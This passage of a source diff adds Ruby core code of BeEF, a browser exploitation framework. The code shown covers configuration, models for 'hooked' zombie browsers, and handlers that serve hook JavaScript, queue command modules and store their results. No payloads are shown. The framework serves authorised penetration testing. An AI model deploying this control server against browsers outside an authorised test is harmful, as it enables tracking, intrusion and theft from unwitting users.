component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
@beefjs_components[component] = component_path
end
def oc_value(name)
option = BeEF::Core::Models::OptionCache.first(:name => name)
return nil if not option
return option.value
end
def apply_defaults()
@datastore.each { |opt|
opt["value"] = oc_value(opt["name"]) || opt["value"]
}
end
private
@use_template
@eruby
@update_zombie
@results
end
end
end

View File

@@ -0,0 +1,92 @@
module BeEF
module Core
#
# Parses the user configuration file for beef.
#
# Example:
#
# configuration = BeEF::Core::Configuration.instance
# p configuration.get('beef.http.host) # => "0.0.0.0"
#
class Configuration
include Singleton
#
# Constructor
#
def initialize(configuration_file="#{$root_dir}/config.yaml")
# argument type checking
raise Exception::TypeError, '"configuration_file" needs to be a string' if not configuration_file.string?
# test to make sure file exists
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(configuration_file)
#open base config
@config = self.load(configuration_file)
# set default value if key? does not exist
@config.default = nil
load_extensions_config
load_modules_config
end
#
# Loads yaml file
#
def load(file)
return nil if not File.exists?(file)
raw = File.read(file)
return YAML.load(raw)
end
#
# Returns the value of a selected key in the configuration file.
#
def get(key)
subkeys = key.split('.')
lastkey = subkeys.pop
subhash = subkeys.inject(@config) do |hash, k|
hash[k]
end
return (subhash != nil and subhash.has_key?(lastkey)) ? subhash[lastkey] : nil
end
#
# Sets the give key value pair to the config instance
#
def set(key, value)
subkeys = key.split('.').reverse
return false if subkeys.length == 0
hash = {subkeys.shift.to_s => value}
subkeys.each{|v|
hash = {v.to_s => hash}
}
@config = @config.recursive_merge(hash)
return true
end
#
# load extensions configurations
#
def load_extensions_config
Dir.glob("#{$root_dir}/extensions/*/config.yaml") do | cf |
y = self.load(cf)
if y != nil
@config = y.recursive_merge(@config)
end
end
end
#
# Load module configurations
#
def load_modules_config
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
y = self.load(cf)
if y != nil
@config = y.recursive_merge(@config)
end
end
end
end
end
end

View File

@@ -0,0 +1,68 @@
module BeEF
module Core
module Constants
module Browsers
FF = 'FF' # Firefox
M = 'M' # Mozila
IE = 'IE' # Internet Explorer
S = 'S' # Safari
K = 'K' # Konqueror
C = 'C' # Chrome
O = 'O' # Opera
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozila'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
FRIENDLY_O_NAME = 'Opera'
FRIENDLY_UN_NAME = "UNKNOWN"
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when S; return FRIENDLY_S_NAME
when K; return FRIENDLY_K_NAME
when C; return FRIENDLY_C_NAME
when O; return FRIENDLY_O_NAME
when UNKNOWN; return FRIENDLY_UN_NAME
end
end
def self.match_browser(browserstring)
matches = []
browserstring.split(" ").each do |chunk|
case chunk
when /Firefox/ , /FF/
matches << FF
when /Mozilla/
matches << M
when /Internet Explorer/, /IE/
matches << IE
when /Safari/
matches << S
when /Konqueror/
matches << K
when /Chrome/
matches << C
when /Opera/
matches << O
end
end
matches.uniq
end
end
end
end
end

View File

@@ -0,0 +1,16 @@
module BeEF
module Core
module Constants
module CommandModule
VERIFIED_NOT_WORKING = 0
VERIFIED_WORKING = 1
VERIFIED_USER_NOTIFY = 2
VERIFIED_UNKNOWN = 3
end
end
end
end

View File

@@ -0,0 +1,15 @@
module BeEF
module Core
module Constants
# The distributed engine codes
module DistributedEngine
REQUESTER = 1
PORTSCANNER = 2
end
end
end
end

37
core/main/constants/os.rb Normal file
View File

@@ -0,0 +1,37 @@
module BeEF
module Core
module Constants
# The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
OS_LINUX_UA_STR = 'Linux'
OS_LINUX_IMG = 'linux.png'
OS_MAC_UA_STR = 'Mac'
OS_MAC_IMG = 'mac.png'
OS_IPHONE_UA_STR = 'iPhone'
OS_IPHONE_IMG = 'iphone.png'
def self.match_os(name)
case name.downcase
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /iphone/
OS_IPHONE_UA_STR
else
'ALL'
end
end
end
end
end
end

30
core/main/crypto.rb Normal file
View File

@@ -0,0 +1,30 @@
module BeEF
module Core
#
# This module provides crypto functionality
#
module Crypto
# the minimum length of the security token
TOKEN_MINIMUM_LENGTH = 15
#
# Generate a secure random token
#
# @param: {Integer} the length of the secure token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Core::Configuration.instance
token_length = len || config.get('beef.crypto_default_value_length').to_i
# type checking
raise Exception::TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if (token_length < TOKEN_MINIMUM_LENGTH)
# return random hex string
return OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
end
end
end
end

View File

@@ -0,0 +1,23 @@
module BeEF
module Core
module DistributedEngine
module Models
#
# Table stores the rules for the Distributed Engine.
#
class Rules
include DataMapper::Resource
storage_names[:default] = 'extensions.distributed_engine.rules'
property :id, Serial
property :data, Text
property :enabled, Boolean
end
end
end
end
end

View File

@@ -0,0 +1,62 @@
module BeEF
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
attr_reader :guard
@data = {}
def initialize(data, kclass)
@guard = Mutex.new
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
def setup()
@http_params = @data['request'].query # used to populate datastore
@http_header = @data['request'].header # used to populate datastore
@http_header['referer'] ||= '' # used to populate datastore
# get and check command id from the request
command_id = get_param(@data, 'cid')
# ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# get and check session id from the request
beefhook = get_param(@data, 'beefhook')
raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
@guard.synchronize {
# create the command module to handle the response
command = @kclass.new # create the commamd module
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
command.session_id = beefhook
command.callback # call the command module's callback function - it will parse and save the results
# get/set details for datastore and log entry
command_friendly_name = command.friendlyname
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
command_results = get_param(@data, 'results')
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
# save the command module results to the datastore and create a log entry
command_results = {'type' => command_results.class, 'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
}
end
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end
end

View File

@@ -0,0 +1,95 @@
module BeEF
module Core
module Handlers
#
# This class handles connections from zombies to the framework.
#
class HookedBrowsers < WEBrick::HTTPServlet::AbstractServlet
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
attr_reader :guard
def initialize(config)
@guard = Mutex.new
end
#
# This method processes the http requests sent by a zombie to the framework.
# It will update the database to add or update the current zombie and deploy
# some command modules or plugins.
#
def do_GET(request, response)
@body = ''
@params = request.query
@request = request
@response = response
config = BeEF::Core::Configuration.instance
# check source ip address of browser
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
target_network = IPAddr.new(permitted_hooking_subnet)
if not target_network.include?(request.peeraddr[3].to_s)
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
@response.set_error(nil)
return
end
# get zombie if already hooked the framework
hook_session_id = request.get_hook_session_id()
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
if not hooked_browser # is a new browser so return instructions to set up the hook
# generate the instructions to hook the browser
host_name = @request.host # get the host from the HOST attribute in the HTTP header
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not BeEF::Filters.is_valid_hostname?(host_name)
build_beefjs!(host_name)
else # is a known browseer so send instructions
# record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
# add all availible command module instructions to the response
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
#
# We dynamically get the list of all browser hook handler using the API and register them
#
BeEF::API.fire(BeEF::API::Server::Hook, :pre_hook_send, hooked_browser, @body, @params, @request, @response)
end
# set response headers and body
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
response.body = @body
end
alias do_POST do_GET
private
# Object representing the HTTP request
@request
# Object representing the HTTP response
@response
# A string containing the list of BeEF components active in the hooked browser
@beef_js_cmps
end
end
end
end

View File

@@ -0,0 +1,100 @@
module BeEF
module Core
module Handlers
module Modules
#
# Purpose: avoid rewriting several times the same code.
#
module BeEFJS
#
# Builds the default beefjs library (all default components of the library).
#
# @param: {Object} the hook session id
# @param: {Boolean} if the framework is already loaded in the hooked browser
#
def build_beefjs!(req_host)
# set up values required to construct beefjs
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
beefjs_path = "#{$root_dir}/core/main/client/" # location of sub files
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js)
# construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
}
# create the config for the hooked browser session
config = BeEF::Core::Configuration.instance
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
# if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
end
#
# Finds the path to js components
#
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
#
# Builds missing beefjs components.
#
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
#
def build_missing_beefjs_components(beefjs_components)
# verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# path to the component
component_path = beefjs_components[k]
# we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# finally we add the component to the list of components already generated so it does not
# get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
end
end
end

View File

@@ -0,0 +1,52 @@
module BeEF
module Core
module Handlers
module Modules
module Command
#
# Adds the command module instructions to a hooked browser's http response.
#
def add_command_instructions(command, hooked_browser)
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser is nil" if hooked_browser.nil?
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser.session is nil" if hooked_browser.session.nil?
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser is nil" if command.nil?
raise WEBrick::HTTPStatus::BadRequest, "hooked_browser.command_module_id is nil" if command.command_module_id.nil?
# get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
#klass = File.basename command_module.path, '.rb'
klass = command_module.path.split('/').reverse[1]
command_module = BeEF::Core::Command.const_get(klass.capitalize).new
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
@body << command_module.output + "\n\n"
# prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
end
end
end
end

53
core/main/logger.rb Normal file
View File

@@ -0,0 +1,53 @@
module BeEF
module Core
#
# This class takes care of logging events in the db.
#
# Example:
#
# logger = BeEF::Core::Logger.instance
# logger.register('Authentication', 'User with ip 127.0.0.1 has successfully authenticated into the application') # => true
#
# zombie_id = 1
# logger.register('Zombie', '123.456.789.123 just joined the horde', zombie_id) # => true
#
class Logger
include Singleton
#
# Constructor
#
def initialize
@logs = BeEF::Core::Models::Log
end
#
# Registers a new event in the logs
#
# @param: {String} the origine of the event (i.e. Authentication, Zombie)
# @param: {String} the event description
# @param: {Integer} the id of the hooked browser affected (default = 0 if no HB)
#
def register(from, event, zombie = 0)
# type conversion to enforce standards
zombie = zombie.to_i
# arguments type checking
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
raise Exception::TypeError, '"zombie" needs to be an integer' if not zombie.integer?
# logging the new event into the database
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => zombie).save
# return
true
end
private
@logs
end
end
end

54
core/main/migration.rb Normal file
View File

@@ -0,0 +1,54 @@
module BeEF
module Core
#
# This class migrates and updates values in the database each time you restart BeEF.
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
#
class Migration
include Singleton
#
# Updates the database.
#
def update_db!
update_commands!
end
#
# Checks for new command modules and updates the database.
#
def update_commands!
db_commands = [], folders = ''
BeEF::Core::Models::CommandModule.all.each {|db_command|
db_commands.push(db_command.path)
}
Dir.foreach("#{$root_dir}/modules/") do |folder|
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/#{folder}"
end
regex = /\/modules\/(#{folders})\/(.*).rb/i
Dir["#{$root_dir}/modules/**/*.rb"].each do |command|
if (command = command.match(regex)[0])
BeEF::Core::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
end
end
# We use the API to execute the migration code for each extensions that needs it.
# For example, the metasploit extensions requires to add new commands into the database.
BeEF::API::Migration.extended_in_modules.each do |mod|
begin
mod.migrate_commands!
rescue Exception => e
puts e.message
puts e.backtrace
end
end
end
end
end
end

View File

@@ -0,0 +1,78 @@
module BeEF
module Core
module Models
#
# Table stores the commands that have been sent to the Hooked Browsers.
#
# Attributes:
#
# - id
# - data
# - creationdate
# - label
# - instructions_sent
# - command_module_id
# - hooked_browser_id
#
class Command
include DataMapper::Resource
storage_names[:default] = 'commands'
property :id, Serial
property :data, Text
property :creationdate, String, :length => 15, :lazy => false
property :label, Text, :lazy => false
property :instructions_sent, Boolean, :default => false
has n, :results
#
# Save results and flag that the command has been run on the hooked browser
#
# @param: {String} the session_id.
# @param: {String} the command_id.
# @param: {String} the command friendly name.
# @param: {String} the result of the command module.
#
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
# enforcing arguments types
command_id = command_id.to_i
# argument type checking
raise Exception::TypeError, '"hook_session_id" needs to be a string' if not hook_session_id.string?
raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer?
raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string?
raise Exception::TypeError, '"result" needs to be a hash' if not result.hash?
# get the hooked browser structure and id from the database
zombie = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil
raise Exception::TypeError, "zombie is nil" if zombie.nil?
raise Exception::TypeError, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
raise Exception::TypeError, "zombie.ip is nil" if zombie.ip.nil?
zombie_ip = zombie.ip
# get the command module data structure from the database
command = first(:id => command_id.to_i, :hooked_browser_id => zombie_id) || nil
raise Exception::TypeError, "command is nil" if command.nil?
# create the entry for the results
command.results.new(:hooked_browser_id => zombie_id, :data => result.to_json, :date => Time.now.to_i)
command.save
# log that the result was returned
BeEF::Core::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
# prints the event into the console
if BeEF::Settings.console?
print_info "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'"
end
end
end
end
end
end

View File

@@ -0,0 +1,22 @@
module BeEF
module Core
module Models
class CommandModule
include DataMapper::Resource
storage_names[:default] = 'core.command_modules'
property :id, Serial
property :path, Text, :lazy => false
property :name, Text, :lazy => false
has n, :commands
has 1, :dynamic_command_info
end
end
end
end

View File

@@ -0,0 +1,21 @@
module BeEF
module Core
module Models
class DynamicCommandInfo
include DataMapper::Resource
storage_names[:default] = 'core.dynamic_command_info'
property :id, Serial
property :name, Text, :lazy => false
property :description, Text, :lazy => false
property :targets, Text, :lazy => false
belongs_to :command_module
end
end
end
end

View File

@@ -0,0 +1,23 @@
module BeEF
module Core
module Models
class DynamicPayloadInfo
include DataMapper::Resource
storage_names[:default] = 'core.dynamic_payload_info'
property :id, Serial
property :name, String, :length => 30
property :value, String, :length => 255
property :required, Boolean, :default => false
property :description, Text, :lazy => false
belongs_to :dynamic_payloads
end
end
end
end

View File

@@ -0,0 +1,20 @@
module BeEF
module Core
module Models
class DynamicPayloads
include DataMapper::Resource
storage_names[:default] = 'core.dynamic_payloads'
property :id, Serial
property :name, Text, :lazy => false
has n, :dynamic_payload_info
end
end
end
end

View File

@@ -0,0 +1,73 @@
module BeEF
module Core
module Models
#
#
#
class HookedBrowser
include DataMapper::Resource
storage_names[:default] = 'core.hooked_browsers'
property :id, Serial
property :session, Text, :lazy => false
property :ip, Text, :lazy => false
property :firstseen, String, :length => 15
property :lastseen, String, :length => 15
property :httpheaders, Text, :lazy => false
property :domain, Text, :lazy => false # the domain originating the hook request
property :count, Integer, :lazy => false
property :has_init, Boolean, :default => false
has n, :commands
has n, :results
has n, :logs
#has n, :https
#
# Increases the count of a zombie
#
def count!
if not self.count.nil? then self.count += 1; else self.count = 1; end
end
#
# Returns the icon representing the browser type the
# zombie is using (i.e. Firefox, Internet Explorer)
#
def browser_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_IE_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_FIREFOX_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_MOZILLA_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_SAFARI_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_KONQ_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_CHROME_UA_STR
return BeEF::Extension::AdminUI::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Extension::AdminUI::Constants::Agents::AGENT_OPERA_UA_STR
BeEF::Extension::AdminUI::Constants::Agents::AGENT_UNKNOWN_IMG
end
#
# Returns the icon representing the os type the
# hooked browser is running (i.e. Windows, Linux)
#
def os_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Core::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
return BeEF::Core::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Core::Constants::Os::OS_WINDOWS_UA_STR
return BeEF::Core::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Core::Constants::Os::OS_LINUX_UA_STR
return BeEF::Core::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
end
end
end
end
end

24
core/main/models/log.rb Normal file
View File

@@ -0,0 +1,24 @@
module BeEF
module Core
module Models
#
# This table stores the logs from the framework.
#
# See BeEF::Core::Logger for how to log events.
#
class Log
include DataMapper::Resource
storage_names[:default] = 'core.logs'
property :id, Serial
property :type, Text, :lazy => false
property :event, Text, :lazy => false
property :date, DateTime, :lazy => false
property :hooked_browser_id, Text, :lazy => false
end
end
end
end

View File

@@ -0,0 +1,19 @@
module BeEF
module Core
module Models
class OptionCache
include DataMapper::Resource
storage_names[:default] = 'core.option_cache'
property :id, Serial
property :name, Text
property :value, Text
end
end
end
end

View File

@@ -0,0 +1,21 @@
module BeEF
module Core
module Models
#
# Table stores the results from commands.
#
class Result
include DataMapper::Resource
storage_names[:default] = 'core.results'
property :id, Serial
property :date, String, :length => 15, :lazy => false
property :data, Text
end
end
end
end

30
core/main/models/user.rb Normal file
View File

@@ -0,0 +1,30 @@
module BeEF
module Core
module Models
#
# Table stores the list of users that have authenticated into beef.
#
# TODO: move this table into the AdminUI extension folder.
#
class User
include DataMapper::Resource
storage_names[:default] = 'extension.admin_ui.users'
property :id, Serial
property :session_id, String, :length => 255
property :ip, Text
#
# Checks if the user has been authenticated
#
def authenticated?
true || false if not @ip.nil?
end
end
end
end
end

View File

@@ -0,0 +1,21 @@
module BeEF
module Core
module NetworkStack
module RegisterHttpHandler
# use of the API right here
extend BeEF::API::Server::Handler
#
# Register the http handler for the network stack
#
def self.mount_handlers(beef_server)
#dynamic handler
beef_server.mount('/dh', true, BeEF::Core::NetworkStack::Handlers::DynamicReconstruction)
end
end
end
end
end

View File

@@ -0,0 +1,80 @@
module BeEF
module Core
module NetworkStack
module Handlers
#
# Class defining BeEF assets
#
class AssetHandler
# call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance
include Singleton
attr_reader :allocations, :root_dir
def initialize
@allocations = {}
@http_server = BeEF::Core::Server.instance
@root_dir = File.expand_path('../../../../', __FILE__)
end
#
# Binds a file to a mount point
#
def bind(file, path=nil, extension=nil, count=-1)
url = buildURL(path, extension)
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
@http_server.mount(url, true, WEBrick::HTTPServlet::FileHandler, @allocations[url]['file'])
print_info "File [" + "#{root_dir}"+file + "] binded to url [" + url + "]"
return url
end
#
# Unbinds a file from a mount point
#
def unbind(url)
@allocations.delete(url)
@http_server.unmount(url, true)
end
#
# Builds a URL based on the path and extention, if neither are passed a random URL will be generated
#
def buildURL(path, extension, length=20)
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
url += (extension == nil) ? '' : '.'+extension;
return url
end
#
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
#
def check(url)
if @allocations.has_key?(url)
count = @allocations[url]['count']
if count == -1
return true
end
if count > 0
if (count - 1) == 0
unbind(url)
else
@allocations[url]['count'] = count - 1
end
return true
end
end
return false
end
private
@http_server
@allocations
end
end
end
end
end

View File

@@ -0,0 +1,102 @@
module BeEF
module Core
module NetworkStack
module Handlers
#DynamicHanlder is used reconstruct segmented traffic from the zombies
class DynamicReconstruction < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#holds packet queue
PQ = Array.new()
#obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
#Combines packet information and pushes to PQ, then checks packets
def do_POST(request, response)
@request = request
response.body = ''
PQ << {
:beefhook => get_param(@request.query, 'bh'),
:stream_id => Integer(get_param(@request.query, 'sid')),
:packet_id => Integer(get_param(@request.query, 'pid')),
:packet_count => Integer(get_param(@request.query, 'pc')),
:data => get_param(@request.query, 'd')
}
check_packets()
end
alias do_GET do_POST
#check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
end
end
if (packet[:packet_count] == pc)
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = @request
res['beefsession'] = @request.get_hook_session_id()
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
end
end
end
end
#delete packets that have been reconstructed, return deleted packets
def expunge(beefhook, stream_id)
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
return packets.sort_by { |p| p[:packet_id] }
end
#execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
#assist function for getting parameter from hash
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
end
end
end

179
core/main/server.rb Normal file
View File

@@ -0,0 +1,179 @@
module BeEF
module Core
#
# Class defining the BeEF http server.
#
# Example:
#
# server = BeEF::Core::Server.instance
# server.prepare
# server.start
# ...
# server.stop
#
class Server
include Singleton
# Grabs the version of beef the framework is deployed on
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
#
# Constructor
#
def initialize
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
end
#
# Returns all server variables in a hash. Useful for Erubis when
# generating the javascript for the command modules and hooking.
#
def to_h
{
'beef_version' => VERSION,
'beef_url' => @url,
'beef_root_dir' => @root_dir,
'beef_host' => BeEF::Core::Configuration.instance.get('beef.http.host'),
'beef_port' => BeEF::Core::Configuration.instance.get('beef.http.port'),
'beef_dns' => BeEF::Core::Configuration.instance.get('beef.http.dns'),
'beef_hook' => BeEF::Core::Configuration.instance.get('beef.http.hook_file')
}
end
#
#
#
def get_command_url(command_path)
# argument type checking
raise Exception::TypeError, '"command_path" needs to be a string' if not command_path.string?
if not @command_urls[command_path].nil?
return @command_urls[command_path]
else
return command_path
end
end
#
# Starts the BeEF http server.
#
def prepare
if not @http_server
config = {}
config[:BindAddress] = @configuration.get('beef.http.host')
config[:Port] = @configuration.get('beef.http.port')
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
config[:ServerName] = "BeEF " + VERSION
config[:ServerSoftware] = "BeEF " + VERSION
@http_server = WEBrick::HTTPServer.new(config)
# Create http handler for the javascript hook file
mount("#{@configuration.get("beef.http.hook_file")}", true, BeEF::Core::Handlers::HookedBrowsers)
# Create http handlers for all commands in the framework
Dir["#{root_dir}/modules/**/*.rb"].each { |command|
#command_class = (File.basename command, '.rb').capitalize
command_class = command.split('/').reverse[1]
command_file = (File.basename command, '.rb')+'.js'
mount("/command/#{command_file}", false, BeEF::Core::Handlers::Commands, command_class)
}
#
# We dynamically get the list of all http handler using the API and register them
#
BeEF::API.fire(BeEF::API::Server::Handler, :mount_handlers, self)
end
end
#
# Starts the BeEF http server
#
def start
# we trap CTRL+C in the console and kill the server
trap("INT") { BeEF::Core::Server.instance.stop }
# starts the web server
@http_server.start
end
#
# Stops the BeEF http server.
#
def stop
if @http_server
# shuts down the server
@http_server.shutdown
# print goodbye message
puts
print_info 'BeEF server stopped'
end
end
#
# Restarts the BeEF http server.
#
def restart; stop; start; end
#
# Mounts a handler, can either be a hard or soft mount
#
# @param: {String} the url to mount
# @param: {Boolean} set to true for a hard mount, false for a soft mount.
# @param: {Class} class to call once mount is triggered
# @param: {Various} arguments to pass to the http handler class
#
def mount(url, hard, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
if hard
if args == nil
@http_server.mount url, http_handler_class
else
